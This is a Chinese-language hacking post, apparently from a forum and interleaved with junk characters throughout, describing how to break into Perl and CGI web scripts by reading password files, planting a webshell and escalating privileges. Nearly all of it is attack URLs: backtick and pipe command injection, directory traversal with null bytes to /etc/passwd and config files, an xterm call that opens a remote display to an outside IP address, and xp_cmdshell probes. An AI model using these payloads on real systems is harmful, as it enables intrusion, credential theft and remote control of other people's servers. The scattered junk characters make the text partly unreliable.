总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
/ Z; g4 Q" N' c2 ~4 L* ^" ccookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
+ L+ B3 N: v) T5 z) f6 o% s" Y/ p0 `感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
0 L+ J6 K3 f9 e注“
# H( F: X$ q$ h2 [) |5 ~perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 2 }% i3 j' q* }% _
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET & I& S4 X2 e/ j8 b
`5 A+ S$ E5 @- F- b1 z# Xhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 + C! C* v8 t# S7 c {( h* q
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 , f# L2 x0 N# r% Q ?" a
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 / D: c2 `7 v! K! ^% I" D
http://target.com/cgi-bin/home/news/sub.pl?`id`
5 k- f6 F" {" p% K9 i& yhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` 5 j& x. f% w B( M4 X2 z3 l# C) M( A m
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 9 V6 b+ c, `) i7 ^/ R0 f
1 o+ g8 E8 [# M3 ]http://target.com/test.pl;ls|
9 p9 Y& W* A! d) s( W4 Jhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
; h6 ?1 B4 o& F4 s- r: \. W# Ohttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| - |; p4 O# ~5 @% U/ p. {
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 8 E+ |0 B: [8 N8 B7 C' _. l9 H3 ]1 I
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
) W2 Q: r! W3 `' {http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection ! n( t6 z: B; d3 ?
2 P2 |# S. `9 O# g/ t
http://target.com/test.pl?&........ /../../etc/passwd
6 e y2 L3 |, R- k
9 L% G( E. y! u2 t) H$ Whttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ ( K- Q5 e5 t+ r( i8 }
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 & b" t/ y4 X8 `2 C! Q1 O
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
m/ t/ V) p4 r3 i! Q' H2 ]& c; \$ {( Q$ @( R
http://www.target.org/show.php?f ... /include/config.php 查看php代码
/ T# N0 N- G. A; _: [http://www.target.org/show.php?f ... ng/admin/global.php * {5 f" n9 ^( X* v
; ` @. j* f4 Z+ H! B6 N6 @4 Vemm和ps的一句话: i( n! b4 N$ e. r* u6 `$ I
: b1 \' {# W5 C( H
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
) r8 r% f' X$ ]# F" c9 ?4 f5 C
>bbb%20| " _3 d, ~! p9 c3 V
5 [8 c! A4 M3 W9 }8 K. t
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 . ?+ E5 T2 ]" m% d! b
: b+ D; \3 E, m. _, O/ J$ Uhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
0 l% k4 y* ]9 y: p$ n ]http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
0 F5 L8 g, E3 [. L0 D b: j# k; Z
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 . M9 O; u8 n5 f, t
http://target.com/index.html#cmd.exe
: H) G; T' Y% o1 d* _2 rhttp://target.com/index.html?dummyparam=xp_cmdshell
* @6 y1 l9 U# A$ Z; T; w) alynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
$ ^, B" [: y d+ H2 }' d |